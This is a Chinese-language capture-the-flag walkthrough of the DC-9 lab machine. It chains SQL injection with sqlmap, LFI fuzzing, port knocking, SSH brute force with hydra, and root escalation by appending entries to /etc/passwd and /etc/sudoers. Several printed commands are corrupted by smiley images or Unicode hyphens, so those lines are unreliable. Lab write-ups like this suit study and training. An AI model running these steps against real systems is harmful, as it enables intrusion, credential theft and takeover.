DC-9 ![](https://img-blog.csdnimg.cn/d77c6ad508094c359ec36dcea8c97059.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
攻击 192.168.0.105 靶机 192.168.0.114 开了个80 打开网址看看 search存在sql注入 ![](https://img-blog.csdnimg.cn/99ad979fce6a4ef2af31fccb509917b5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
抓包sqlmap扫一下 一个库一个表一个列搜 有好多普通账号 都是进不去的 最后 sqlmap -r /1.txt -p search -D Staff -T Users --dump 密码是hash加密后的,解密一下 管理员账号:admin
管理员密码:transorbital1
管理员登录 ![](https://img-blog.csdnimg.cn/94145fed80f84173b00105985fb8ba29.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含) 但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登录之后的cookies也要写上,否则网页会提示你要登录) 查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行 wfuzz指令 fuzz记得改为file ![](https://img-blog.csdnimg.cn/0fc9012ed8244182accf34eb20c41b1f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 然后我们通过/proc/sched_debug 来查看Linux系统中任务的调度情况
![](https://img-blog.csdnimg.cn/8eababb086914fb09bf615ac7e19428b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16)
整理查询发现靶机上运行这knockd 原来需要敲击完knockd提供的所有端口,然后即可打开ssh通道 那么我们读取下knocked的配置文件: ![](https://img-blog.csdnimg.cn/956cd05a871247f6802bc712b5809f89.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
这里提供2种敲击方法:nc、nmap for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.0.114;done for x in 7469 8475 9842 22 ;do nc 192.168.0.114 $x;done 值得注意的是 knockd敲击每次使用结束后关门会把端口顺序反转 比如这次连接需要敲击7469 8475 9842端口,关闭就需要敲击 9842 8475 7469端口 ![](https://img-blog.csdnimg.cn/fa397b14eae044bbb8935d3e850c7224.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
连接ssh试试 此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的 hydra -L username -P password ssh://192.168.0.114 [22][ssh] host: 192.168.0.114 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.0.114 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.0.114 login: chandlerb password: UrAG0D! 然后我们对这几个账号都尝试进行登录 只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码 使用爆破出来的用户登录,然后查看文件ls -la(可查看隐藏目录文件),在用户janitor中发现隐藏的secrets-for-putin目录,里面含有密码passwords-found-on-post-it-notes.txt,查看后是:
![](https://img-blog.csdnimg.cn/db005eef74864fc687e534ad25d7091e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
增加在pass.txt后重新进行爆破: hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.0.114 ssh 多了一个fredf用户 login: fredf password: B4‐Tru3‐001 sudo -l 看这个用户可以越权执行的文件 可以看到fredf可以不用密码以root权限执行 /opt/devstuff/dist/test/test的文件 ![](https://img-blog.csdnimg.cn/60c7fab5506047c69d2aa4c7b21fbcc5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) ![](https://img-blog.csdnimg.cn/3ef47b41bdb34234b3609dbb16154268.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_15,color_FFFFFF,t_70,g_se,x_16)
是个python文件, 可以在上级目录找到同名的 test.py 然后cat下内容 ![](https://img-blog.csdnimg.cn/5539d611b6ef4c38ba3686ab7fbcc828.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
脚本的作用就是将第一个文件的内容附加到另一个文件里面去 提权:两个方法 1.构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了 使用openssl生成: openssl passwd ‐1 ‐salt 123456 cd //-salt:自动插入一个随机数作为文件内容加密,默认选项 ![](https://img-blog.csdnimg.cn/f9cb4c43fd3d4a4c9e07b2e026a04684.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_16,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
cd ![](static/image/smiley/default/shy.gif) 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash 写入到tmp目录下的paswd中: echo 'cd ![](static/image/smiley/default/shy.gif) 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd ![](https://img-blog.csdnimg.cn/61bb20a08c944a5787976e0a70a4bb67.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==)
执行test:在/opt/devstuff/dist/test下执行(因为这里才有权限) sudo ./test /tmp/passwd /etc/passwd(之前说过test是个可执行文件) ![](https://img-blog.csdnimg.cn/660726e040b84629b222eb28c3072946.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 账号密码就是cd:cd了
![](https://img-blog.csdnimg.cn/47a2f1a1f0844acf9be39066335e5780.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16)
值得一提的是 1.如果openssl passwd -1 -salt cd wd 这样的话 账号密码就是cd:wd 而 2.openssl passwd ‐1 ‐salt 123456 cd 中123456不能作为用户名,而作为随机数 导致账号密码变为cd:cd 所以使用opssl加密的话 还是i两个全英文比较好 后来看了下 其实不是这样 1的cd和2的123456都是随机数,而后面的wd和cd才是密码 而用户名是 echo 'cd ![](static/image/smiley/default/shy.gif) 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd 的第一个cd= = 我是真的蠢 方法二:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命 随便创建/dev/shm/asd,内容如下: joeyt ALL=(ALL) ALL //因为joeyt为已知用户 然后执行 sudo /opt/devstuff/dist/test/test /dev/shm/asd /etc/sudoers 图片如下 ![](https://img-blog.csdnimg.cn/aca8351ef41a47a79f75b96eba2f1ff3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTQ0ODc1ODM=,size_20,color_FFFFFF,t_70,g_se,x_16) ![](http://data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==) 然后登陆joeyt,然后切换成root身份,get flag
|